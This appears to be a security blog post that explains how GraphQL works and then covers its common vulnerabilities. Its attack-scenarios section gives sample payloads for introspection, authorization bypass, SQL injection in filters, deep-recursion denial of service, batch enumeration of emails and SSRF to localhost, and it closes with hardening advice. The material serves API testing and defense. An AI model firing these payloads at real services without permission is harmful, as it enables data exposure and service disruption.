Post

What is it GraphQL ?

What is it GraphQL ?

GraphQL


What is GraphQL?

GraphQL is a query language and runtime for APIs, developed by Facebook to solve problems developers faced with REST APIs. Instead of calling multiple endpoints to get related data, you send a single, structured request that returns just what you need — no more, no less.

Unlike REST, where the server defines the response structure, GraphQL gives control to the client. This makes it powerful, flexible, and highly customizable — but also introduces several security risks if not implemented carefully.


How GraphQL Works (Behind the Scenes)

When a client sends a GraphQL request, here’s what typically happens:

  1. Parsing – The server parses the incoming query string.

  2. Validation – It validates the query against the defined schema.

  3. Execution – Resolvers are triggered for each field in the query.

  4. Response – A structured JSON response is returned to the client.

GraphQL queries are usually sent via HTTP POST requests to a single endpoint, like /graphql, with a body like:

1
2
3
{
  "query": "query { user(id: 1) { name email } }"
}

The response is:

1
2
3
4
5
6
7
8
{
  "data": {
    "user": {
      "name": "x0tiger",
      "email": "x0tiger@example.com"
    }
  }
}

Core Components of GraphQL

ComponentDescription
SchemaDefines the types, fields, and operations allowed in the API.
QueryFor retrieving data (read operations).
MutationFor modifying data (create, update, delete).
SubscriptionFor real-time updates using WebSockets.
ResolverThe function behind each field that actually fetches the data.

Example Schema:

1
2
3
4
5
6
7
8
9
type User {
  id: ID!
  name: String!
  email: String!
}

type Query {
  user(id: ID!): User
}

Real-World Usage of GraphQL

In large frontend applications (e.g. SPAs or mobile apps), GraphQL significantly improves performance and developer experience by:

  • Reducing the number of requests.

  • Preventing over-fetching or under-fetching data.

  • Allowing clients to evolve independently from the backend.

Example: A dashboard view on a mobile app might need only a few fields.

1
2
3
4
5
6
7
query {
  currentUser {
    name
    profilePicture(size: SMALL)
    unreadMessages
  }
}

Features and Usage Patterns

Fragments

Used to avoid repeating field definitions.

1
2
3
4
5
fragment userFields on User {
  id
  name
  email
}

Then used like:

1
2
3
4
5
query {
  user(id: 5) {
    ...userFields
  }
}

Aliases

Allow sending multiple queries with the same field name.

1
2
3
4
query {
  firstUser: user(id: 1) { name }
  secondUser: user(id: 2) { name }
}

Variables

Allow dynamic queries without rebuilding the query string.

1
2
3
4
{
  "query": "query getUser($id: ID!) { user(id: $id) { name } }",
  "variables": { "id": "1" }
}

Directives

Modify execution logic (e.g. conditionally including a field).

1
2
3
4
5
6
query getUser($showEmail: Boolean!) {
  user(id: 1) {
    name
    email @include(if: $showEmail)
  }
}

Security Risks in GraphQL APIs

Although GraphQL appears secure due to its strict schema and typed system, in practice many APIs expose dangerous behavior due to misconfiguration or weak controls.

Common Vulnerabilities

RiskDescription
Exposed IntrospectionAllows full schema discovery (__schema, __type).
Broken Access ControlLack of per-resolver permission checks.
No Rate LimitingAbuse via batching, aliases, deep nesting.
Lack of Depth/Complexity LimitsEnables DoS via recursive queries.
Injection AttacksSQL/NoSQL injections inside query filters.
CSRF with CookiesWhen CORS is open and cookies are used for auth.
Exposed MutationsUnprotected create/update/delete operations.
Excessive Error DisclosureLeaks schema or stack traces.

Attack Scenarios and Testing Techniques

Below are common GraphQL attack cases you can test against:

Introspection Enabled

Goal: Discover schema details
Payload:

1
{ __schema { types { name fields { name } } } }

Authorization Bypass

Goal: Access restricted fields
Payload:

1
query { adminPanel { secretToken } }

SQL Injection in Filters

Goal: Inject malicious query logic
Payload:

1
2
3
4
5
query {
  users(where: { name: { _eq: "' OR 1=1 --" } }) {
    id
  }
}

Deep Recursion (Denial of Service)

Goal: Crash the server or spike CPU
Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
query {
  user(id: 1) {
    posts {
      comments {
        user {
          posts {
            comments {
              user {
                name
              }
            }
          }
        }
      }
    }
  }
}

Batch Queries (Mass Enumeration)

Goal: Enumerate data via batching
Payload:

1
2
3
4
5
query {
  u1: user(id: 1) { email }
  u2: user(id: 2) { email }
  u3: user(id: 3) { email }
}

SSRF via Resolver

Goal: Fetch internal URLs via exposed resolver
Payload:

1
2
3
query {
  fetchUrl(url: "http://localhost:8000/internal")
}

GraphQL Injection via Variables

Goal: Manipulate query structure indirectly
Payload:

1
2
3
4
5
6
{
  "query": "query getUser($field: String!) { user { $field } }",
  "variables": {
    "field": "password"
  }
}

Test Cases in GraphQL

Test Cases in GraphQL

Tools for Testing and Securing GraphQL

ToolDescription
GraphQLmapCLI for automating attacks and fuzzing
InQLBurp Suite plugin for GraphQL testing
AltairGUI client for crafting queries
GraphCrawlerSchema/path exploration & brute force
GraphQL VoyagerVisualizes GraphQL schemas

Recommendations for Securing GraphQL APIs

  • Disable introspection in production.

  • Limit query depth and total complexity.

  • Validate inputs strictly — don’t rely only on GraphQL types.

  • Enforce per-resolver authorization.

  • Log and monitor query patterns.

  • Throttle and rate-limit requests.

  • Block unused or dangerous mutations.


Summary

GraphQL is a flexible, efficient, and modern way to build APIs. However, its dynamic nature and client-driven queries introduce unique security challenges that differ from REST.

To secure GraphQL:

  • Know your schema.

  • Control access at the resolver level.

  • Limit what clients can do — not just what they can see.

  • And always test, monitor, and review.

When done right, GraphQL boosts productivity. When done wrong, it can expose your entire backend.


This post is licensed under CC BY 4.0 by the author.